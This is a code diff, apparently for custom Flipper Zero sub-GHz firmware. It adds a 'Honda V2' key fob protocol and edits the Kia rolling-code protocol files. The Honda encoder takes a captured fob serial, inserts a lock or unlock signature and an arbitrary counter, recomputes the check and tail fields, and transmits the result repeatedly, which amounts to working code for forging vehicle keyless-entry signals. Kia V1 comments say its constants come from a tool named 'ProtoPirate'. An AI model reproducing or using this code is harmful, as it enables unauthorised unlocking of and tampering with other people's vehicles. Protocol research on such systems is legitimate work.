const uint8_t byte_index = bit_index / 8U;
|
||||
const uint8_t bit_in_byte = 7U - (bit_index % 8U);
|
||||
const bool bit = (key_bytes[byte_index] >> bit_in_byte) & 1U;
|
||||
if(!honda_v2_encoder_add_bit(instance, &index, &previous_bit, bit)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
instance->tail = honda_v2_calculate_tail(instance->count);
|
||||
for(uint8_t bit_index = 0; bit_index < 16; bit_index++) {
|
||||
const bool bit = (instance->tail >> (15U - bit_index)) & 1U;
|
||||
if(!honda_v2_encoder_add_bit(instance, &index, &previous_bit, bit)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if(!honda_v2_encoder_add_bit(instance, &index, &previous_bit, true)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if(!honda_v2_encoder_add_level(instance, &index, false, HONDA_V2_GAP_US)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
instance->encoder.front = 0;
|
||||
instance->encoder.size_upload = index;
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint32_t honda_v2_signature_from_button(uint8_t button) {
|
||||
switch(button) {
|
||||
case HONDA_V2_BTN_LOCK:
|
||||
return HONDA_V2_SIG_LOCK;
|
||||
case HONDA_V2_BTN_UNLOCK:
|
||||
return HONDA_V2_SIG_UNLOCK;
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
static uint64_t honda_v2_build_key(uint32_t signature, uint32_t serial, uint32_t count) {
|
||||
uint8_t key_bytes[8] = {0};
|
||||
key_bytes[0] = (uint8_t)((signature >> 16) & 0xFFU);
|
||||
key_bytes[1] = (uint8_t)((signature >> 8) & 0xFFU);
|
||||
key_bytes[2] = (uint8_t)(signature & 0xFFU);
|
||||
key_bytes[3] = (uint8_t)((serial >> 16) & 0xFFU);
|
||||
key_bytes[4] = (uint8_t)((serial >> 8) & 0xFFU);
|
||||
key_bytes[5] = (uint8_t)(serial & 0xFFU);
|
||||
key_bytes[6] = (uint8_t)((count >> 1) & 0xFFU);
|
||||
|
||||
const bool counter_lsb = (count & 1U) != 0;
|
||||
const uint8_t check = honda_v2_calculate_check(count);
|
||||
key_bytes[7] = (counter_lsb ? 0x80U : 0x00U) | check;
|
||||
|
||||
return honda_v2_bytes_to_u64_be(key_bytes);
|
||||
}
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_honda_v2_decoder = {
|
||||
.alloc = subghz_protocol_decoder_honda_v2_alloc,
|
||||
.free = subghz_protocol_decoder_honda_v2_free,
|
||||
.feed = subghz_protocol_decoder_honda_v2_feed,
|
||||
.reset = subghz_protocol_decoder_honda_v2_reset,
|
||||
.get_hash_data = subghz_protocol_decoder_honda_v2_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_honda_v2_serialize,
|
||||
.deserialize = subghz_protocol_decoder_honda_v2_deserialize,
|
||||
.get_string = subghz_protocol_decoder_honda_v2_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_honda_v2_encoder = {
|
||||
.alloc = subghz_protocol_encoder_honda_v2_alloc,
|
||||
.free = subghz_protocol_encoder_honda_v2_free,
|
||||
.deserialize = subghz_protocol_encoder_honda_v2_deserialize,
|
||||
.stop = subghz_protocol_encoder_honda_v2_stop,
|
||||
.yield = subghz_protocol_encoder_honda_v2_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol honda_v2_protocol = {
|
||||
.name = HONDA_V2_PROTOCOL_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
.decoder = &subghz_protocol_honda_v2_decoder,
|
||||
.encoder = &subghz_protocol_honda_v2_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_decoder_honda_v2_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderHondaV2* instance =
|
||||
calloc(1, sizeof(SubGhzProtocolDecoderHondaV2));
|
||||
furi_check(instance);
|
||||
|
||||
instance->base.protocol = &honda_v2_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_v2_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaV2* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_v2_reset(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaV2* instance = context;
|
||||
|
||||
instance->decoder.parser_step = HondaV2DecoderStepReset;
|
||||
instance->decoder.te_last = 0;
|
||||
instance->preamble_count = 0;
|
||||
memset(instance->raw, 0, sizeof(instance->raw));
|
||||
instance->bit_count = 0;
|
||||
instance->extra_bit = false;
|
||||
instance->previous_bit = true;
|
||||
instance->boundary_pad_skipped = false;
|
||||
instance->pending_short = false;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_v2_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaV2* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case HondaV2DecoderStepReset:
|
||||
if(level && honda_v2_is_short(duration)) {
|
||||
instance->preamble_count = 0;
|
||||
instance->decoder.parser_step = HondaV2DecoderStepPreambleLow;
|
||||
}
|
||||
break;
|
||||
|
||||
case HondaV2DecoderStepPreambleLow:
|
||||
if(!level && honda_v2_is_short(duration)) {
|
||||
instance->preamble_count++;
|
||||
instance->decoder.parser_step = HondaV2DecoderStepPreambleHigh;
|
||||
} else {
|
||||
instance->decoder.parser_step = HondaV2DecoderStepReset;
|
||||
}
|
||||
break;
|
||||
|
||||
case HondaV2DecoderStepPreambleHigh:
|
||||
if(level && honda_v2_is_short(duration)) {
|
||||
instance->decoder.parser_step = HondaV2DecoderStepPreambleLow;
|
||||
} else if(
|
||||
level && honda_v2_is_sync(duration) &&
|
||||
instance->preamble_count >= HONDA_V2_MIN_PREAMBLE_PAIRS) {
|
||||
instance->decoder.parser_step = HondaV2DecoderStepSyncLow;
|
||||
} else {
|
||||
instance->decoder.parser_step = HondaV2DecoderStepReset;
|
||||
}
|
||||
break;
|
||||
|
||||
case HondaV2DecoderStepSyncLow:
|
||||
if(!level && honda_v2_is_sync(duration)) {
|
||||
memset(instance->raw, 0, sizeof(instance->raw));
|
||||
instance->bit_count = 0;
|
||||
instance->extra_bit = false;
|
||||
instance->previous_bit = true;
|
||||
instance->boundary_pad_skipped = false;
|
||||
instance->pending_short = false;
|
||||
honda_v2_add_decoded_bit(instance, true);
|
||||
instance->decoder.parser_step = HondaV2DecoderStepData;
|
||||
} else {
|
||||
instance->decoder.parser_step = HondaV2DecoderStepReset;
|
||||
}
|
||||
break;
|
||||
|
||||
case HondaV2DecoderStepData:
|
||||
if(!honda_v2_process_transition(instance, level, duration)) {
|
||||
instance->decoder.parser_step = HondaV2DecoderStepReset;
|
||||
break;
|
||||
}
|
||||
|
||||
if(instance->bit_count == subghz_protocol_honda_v2_const.min_count_bit_for_found) {
|
||||
if(honda_v2_finish_frame(instance) && instance->base.callback) {
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.parser_step = HondaV2DecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
instance->decoder.te_last = duration;
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_honda_v2_get_hash_data(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaV2* instance = context;
|
||||
|
||||
SubGhzBlockDecoder decoder = {
|
||||
.decode_data = instance->key,
|
||||
.decode_count_bit = 64,
|
||||
};
|
||||
uint8_t hash = subghz_protocol_blocks_get_hash_data(&decoder, 9);
|
||||
hash ^= (uint8_t)(instance->tail >> 8);
|
||||
hash ^= (uint8_t)instance->tail;
|
||||
hash ^= instance->extra_bit ? 1U : 0U;
|
||||
return hash;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_honda_v2_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaV2* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
uint8_t key_bytes[8];
|
||||
honda_v2_u64_to_bytes_be(instance->key, key_bytes);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes));
|
||||
|
||||
uint32_t tmp;
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->serial;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Serial", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Serial", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->button;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Btn", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->command_signature;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->count;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Cnt", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->check;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_CHECK, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_CHECK, &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->tail;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_TAIL, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_TAIL, &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->extra_bit ? 1U : 0U;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &tmp, 1);
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_honda_v2_deserialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaV2* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_honda_v2_const.min_count_bit_for_found);
|
||||
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
uint8_t key_bytes[8] = {0};
|
||||
bool have_key = false;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes))) {
|
||||
instance->key = honda_v2_bytes_to_u64_be(key_bytes);
|
||||
have_key = true;
|
||||
}
|
||||
|
||||
if(!have_key) {
|
||||
instance->key = instance->generic.data;
|
||||
honda_v2_u64_to_bytes_be(instance->key, key_bytes);
|
||||
}
|
||||
|
||||
uint32_t temp = 0;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, HONDA_V2_FF_TAIL, &temp, 1)) {
|
||||
instance->tail = temp & 0xFFFFU;
|
||||
} else {
|
||||
const uint32_t count = ((uint32_t)key_bytes[6] << 1) | ((key_bytes[7] >> 7) & 1U);
|
||||
instance->tail = honda_v2_calculate_tail(count);
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &temp, 1)) {
|
||||
instance->extra_bit = (temp & 1U) != 0;
|
||||
} else {
|
||||
instance->extra_bit = true;
|
||||
}
|
||||
|
||||
honda_v2_validate_frame(
|
||||
instance->key,
|
||||
instance->tail,
|
||||
instance->extra_bit,
|
||||
&instance->check_ok,
|
||||
&instance->tail_ok);
|
||||
honda_v2_parse_key_fields(
|
||||
instance->key,
|
||||
&instance->command_signature,
|
||||
&instance->serial,
|
||||
&instance->count,
|
||||
&instance->button,
|
||||
&instance->check);
|
||||
|
||||
instance->generic.data = instance->key;
|
||||
instance->generic.data_count_bit =
|
||||
subghz_protocol_honda_v2_const.min_count_bit_for_found;
|
||||
instance->generic.serial = instance->serial;
|
||||
instance->generic.btn = instance->button;
|
||||
instance->generic.cnt = instance->count;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_v2_get_string(void* context, FuriString* output) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaV2* instance = context;
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%016llX\r\n"
|
||||
"Sn:%06lX Btn:%02X - %s\r\n"
|
||||
"BtnSig:%06lX\r\n"
|
||||
"Cnt:%05lX Chk:%02X [%s] Tail:%05lX [%s]\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(unsigned long long)instance->key,
|
||||
(unsigned long)instance->serial,
|
||||
instance->button,
|
||||
honda_v2_button_name(instance->button),
|
||||
(unsigned long)instance->command_signature,
|
||||
(unsigned long)instance->count,
|
||||
instance->check,
|
||||
instance->check_ok ? "OK" : "BAD",
|
||||
(unsigned long)(((instance->tail >> 15) & 1U) ? 0x1FFFFUL : 0x0FFFFUL),
|
||||
instance->tail_ok ? "OK" : "BAD");
|
||||
}
|
||||
|
||||
void* subghz_protocol_encoder_honda_v2_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderHondaV2* instance =
|
||||
calloc(1, sizeof(SubGhzProtocolEncoderHondaV2));
|
||||
furi_check(instance);
|
||||
|
||||
instance->base.protocol = &honda_v2_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->encoder.repeat = 10;
|
||||
instance->encoder.size_upload = HONDA_V2_UPLOAD_CAPACITY;
|
||||
instance->encoder.upload = malloc(HONDA_V2_UPLOAD_CAPACITY * sizeof(LevelDuration));
|
||||
furi_check(instance->encoder.upload);
|
||||
instance->encoder.front = 0;
|
||||
instance->encoder.is_running = false;
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_honda_v2_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderHondaV2* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_encoder_honda_v2_deserialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderHondaV2* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
instance->encoder.repeat = 10;
|
||||
|
||||
do {
|
||||
FuriString* temp_str = furi_string_alloc();
|
||||
if(!temp_str) break;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
|
||||
furi_string_free(temp_str);
|
||||
break;
|
||||
}
|
||||
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
|
||||
furi_string_free(temp_str);
|
||||
break;
|
||||
}
|
||||
furi_string_free(temp_str);
|
||||
|
||||
SubGhzProtocolStatus load_status = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_honda_v2_const.min_count_bit_for_found);
|
||||
if(load_status != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
|
||||
instance->serial = instance->generic.serial & 0xFFFFFFU;
|
||||
instance->button = instance->generic.btn;
|
||||
instance->count = instance->generic.cnt & 0x1FFU;
|
||||
|
||||
uint8_t key_bytes[8] = {0};
|
||||
bool have_key = false;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes))) {
|
||||
instance->key = honda_v2_bytes_to_u64_be(key_bytes);
|
||||
have_key = true;
|
||||
}
|
||||
|
||||
if(have_key) {
|
||||
honda_v2_parse_key_fields(
|
||||
instance->key,
|
||||
&instance->command_signature,
|
||||
&instance->serial,
|
||||
&instance->count,
|
||||
&instance->button,
|
||||
&instance->check);
|
||||
}
|
||||
|
||||
uint32_t u32 = 0;
|
||||
bool have_button = false;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "Serial", &u32, 1)) {
|
||||
instance->serial = u32 & 0xFFFFFFU;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "Cnt", &u32, 1)) {
|
||||
instance->count = u32 & 0x1FFU;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "Btn", &u32, 1)) {
|
||||
instance->button = (uint8_t)u32;
|
||||
have_button = true;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &u32, 1)) {
|
||||
instance->command_signature = u32 & 0xFFFFFFU;
|
||||
}
|
||||
|
||||
if(have_button) {
|
||||
const uint32_t signature = honda_v2_signature_from_button(instance->button);
|
||||
if(signature != 0U) {
|
||||
instance->command_signature = signature;
|
||||
}
|
||||
}
|
||||
|
||||
if(instance->command_signature == 0U) {
|
||||
break;
|
||||
}
|
||||
|
||||
instance->key = honda_v2_build_key(
|
||||
instance->command_signature, instance->serial, instance->count);
|
||||
|
||||
honda_v2_u64_to_bytes_be(instance->key, key_bytes);
|
||||
instance->tail = honda_v2_calculate_tail(instance->count);
|
||||
|
||||
honda_v2_parse_key_fields(
|
||||
instance->key,
|
||||
&instance->command_signature,
|
||||
&instance->serial,
|
||||
&instance->count,
|
||||
&instance->button,
|
||||
&instance->check);
|
||||
|
||||
instance->generic.data = instance->key;
|
||||
instance->generic.data_count_bit =
|
||||
subghz_protocol_honda_v2_const.min_count_bit_for_found;
|
||||
instance->generic.serial = instance->serial;
|
||||
instance->generic.btn = instance->button;
|
||||
instance->generic.cnt = instance->count;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t repeat = 10;
|
||||
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
|
||||
instance->encoder.repeat = (size_t)repeat;
|
||||
|
||||
if(!honda_v2_build_upload(instance) || instance->encoder.size_upload == 0U) {
|
||||
break;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes));
|
||||
|
||||
uint32_t tmp;
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->serial;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Serial", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Serial", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->button;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Btn", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->command_signature;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->count;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Cnt", &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->check;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_CHECK, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_CHECK, &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = instance->tail;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_TAIL, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_TAIL, &tmp, 1);
|
||||
}
|
||||
flipper_format_rewind(flipper_format);
|
||||
tmp = 1U;
|
||||
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &tmp, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &tmp, 1);
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
ret = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_honda_v2_stop(void* context) {
|
||||
SubGhzProtocolEncoderHondaV2* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_honda_v2_yield(void* context) {
|
||||
SubGhzProtocolEncoderHondaV2* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration duration = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return duration;
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
#include <lib/toolbox/level_duration.h>
|
||||
|
||||
#define HONDA_V2_PROTOCOL_NAME "Honda V2"
|
||||
|
||||
extern const SubGhzProtocol honda_v2_protocol;
|
||||
|
||||
void* subghz_protocol_decoder_honda_v2_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_honda_v2_free(void* context);
|
||||
void subghz_protocol_decoder_honda_v2_reset(void* context);
|
||||
void subghz_protocol_decoder_honda_v2_feed(void* context, bool level, uint32_t duration);
|
||||
uint8_t subghz_protocol_decoder_honda_v2_get_hash_data(void* context);
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_honda_v2_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_honda_v2_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_decoder_honda_v2_get_string(void* context, FuriString* output);
|
||||
|
||||
void* subghz_protocol_encoder_honda_v2_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_honda_v2_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_honda_v2_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_encoder_honda_v2_stop(void* context);
|
||||
LevelDuration subghz_protocol_encoder_honda_v2_yield(void* context);
|
||||
@@ -154,7 +154,7 @@ LevelDuration subghz_protocol_encoder_kia_yield(void* context) {
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
@@ -193,10 +193,8 @@ static bool subghz_protocol_encoder_kia_get_upload(SubGhzProtocolEncoderKIA* ins
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
|
||||
uint32_t override_cnt = 0;
|
||||
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
|
||||
instance->generic.cnt = override_cnt & 0xFFFF;
|
||||
} else if(instance->generic.cnt < 0xFFFF) {
|
||||
// Counter increment logic
|
||||
if(instance->generic.cnt < 0xFFFF) {
|
||||
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
@@ -211,7 +209,6 @@ static bool subghz_protocol_encoder_kia_get_upload(SubGhzProtocolEncoderKIA* ins
|
||||
uint8_t btn = subghz_custom_btn_get() == SUBGHZ_CUSTOM_BTN_OK ?
|
||||
subghz_custom_btn_get_original() :
|
||||
subghz_custom_btn_get();
|
||||
subghz_block_generic_global_button_override_get(&btn);
|
||||
|
||||
// Update the generic button value for potential button changes
|
||||
instance->generic.btn = btn;
|
||||
@@ -328,13 +325,6 @@ SubGhzProtocolStatus subghz_protocol_encoder_kia_deserialize(void* context, Flip
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t temp_btn = instance->generic.btn;
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp_btn, 1);
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1);
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
@@ -604,3 +594,4 @@ void subghz_protocol_decoder_kia_get_string(void* context, FuriString* output) {
|
||||
received_crc,
|
||||
crc_valid ? "(OK)" : "(FAIL)");
|
||||
}
|
||||
|
||||
|
||||
@@ -8,32 +8,37 @@
|
||||
#include "../blocks/custom_btn_i.h"
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
|
||||
#define TAG "SubGhzProtocolKiaV1"
|
||||
#define TAG "KiaV1"
|
||||
|
||||
// Costanti esattamente come ProtoP irate
|
||||
#define KIA_V1_TOTAL_BURSTS 3
|
||||
#define KIA_V1_TOTAL_BURSTS 3
|
||||
#define KIA_V1_INTER_BURST_GAP_US 25000
|
||||
#define KIA_V1_HEADER_PULSES 90
|
||||
#define KIA_V1_HEADER_PULSES 90
|
||||
#define KIA_V1_UPLOAD_CAPACITY \
|
||||
((KIA_V1_TOTAL_BURSTS * ((KIA_V1_HEADER_PULSES * 2) + 1 + ((57U - 1U) * 2))) + \
|
||||
(KIA_V1_TOTAL_BURSTS - 1))
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_kia_v1_const = {
|
||||
.te_short = 800,
|
||||
.te_long = 1600,
|
||||
.te_delta = 200,
|
||||
.min_count_bit_for_found = 57, // Come ProtoP irate
|
||||
.min_count_bit_for_found = 57,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderKiaV1 {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint16_t header_count;
|
||||
ManchesterState manchester_saved_state; // Come ProtoP irate
|
||||
ManchesterState manchester_saved_state;
|
||||
uint8_t crc;
|
||||
bool crc_check;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderKiaV1 {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
@@ -41,14 +46,16 @@ struct SubGhzProtocolEncoderKiaV1 {
|
||||
typedef enum {
|
||||
KiaV1DecoderStepReset = 0,
|
||||
KiaV1DecoderStepCheckPreamble,
|
||||
KiaV1DecoderStepDecodeData, // Come ProtoP irate
|
||||
KiaV1DecoderStepDecodeData,
|
||||
} KiaV1DecoderStep;
|
||||
|
||||
